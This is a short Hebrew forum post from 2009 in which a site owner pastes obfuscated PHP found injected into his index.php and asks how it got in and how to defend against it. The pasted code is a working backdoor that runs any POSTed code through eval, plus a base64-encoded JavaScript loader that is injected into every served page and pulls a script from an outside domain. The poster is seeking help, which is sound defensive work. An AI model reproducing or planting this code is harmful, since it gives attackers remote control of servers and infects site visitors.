08-05-2009, 17:54
|
|
|
חבר מתאריך: 07.06.06
הודעות: 201
|
|
החדרות PHP וJS לאתר (INJECTION)
בניתי אתר בPHP,
ושמתי לב שמישהו החדיר לי את זה לתחילת הקובץ (INDEX.PHP):
קוד PHP:
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_PO ST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL ',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2Nya XB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBXVGI9Jz43NmFyPjI wYT4zZD4yMlNjcmk+NzB0RW4+NjdpPjZlPjY1PjIyPjJjYj4zZ D4yMlY+NjVyc2lvbigpKz4yMj4yY2o+M2Q+MjI+MjI+MmN1PjN kbmF2PjY5PjY3YXRvcj4yZXVzPjY1PjcyQWdlbnQ+M2I+NjlmK Ch1PjJlaT42ZWRleE9mPjI4PjIyPjU3PjY5bj4yMj4yOT4zZTA pPjI2PjI2KHU+MmVpbmQ+NjV4T2Y+Mjg+MjJOVD4yMDY+MjIpP jNjMCk+MjY+MjYoZG8+NjN1PjZkZW50PjJlPjYzb29rPjY5ZT4 yZWk+NmVkZXg+NGZmKD4yMm1pZWs+M2Q+MzE+MjIpPjNjPjMwK T4yNj4yNj4yOHQ+NzlwZT42ZmYoPjdhPjcydno+NzRzPjI5PjI xPjNkdHlwZW9mKD4yMkE+MjI+MjkpPjI5Pjdiej43MnZ6Pjc0c z4zZD4yMkE+MjI+M2Jldj42MWwoPjIyaWYod2luZG93PjJlPjI yK2ErPjIyKT42YT4zZGorPjIyK2E+MmI+MjJNYT42YT42ZnI+M jI+MmJiK2ErPjIyTWluPjZmcj4yMis+NjIrYSs+MjJCdT42OWx kPjIyK2IrPjIyaj4zYj4yMik+M2Jkb2N1bWVudD4yZXc+NzI+N jl0PjY1PjI4PjIyPjNjPjczPjYzPjcyaT43MHQ+MjA+NzNyYz4 zZD4yZj4yZmd1PjZkYmxhcj4yZWNuPjJmPjcyc3M+MmY+M2ZpZ D4zZD4yMj4yYmorPjIyPjNlPjNjPjVjPjJmc2M+NzJpcHQ+M2U +MjIpPjNiPjdkJzt2YXIgZUpSaD1XVGIucmVwbGFjZSgvPi9nL CclJyk7ZXZhbCh1bmVzY2FwZShlSlJoKSl9KSgpOwogLS0+PC9 zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).ch r(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$ v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'', $s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)| |stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($ b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_l kojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!=' tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
מישהו יודע מה איך הצליחו להחדיר לי את זה? והאם הבעייה היא בתכנות שלי או בשרת? ואם כן - איך אני יכול להגן על זה?
תודה..
|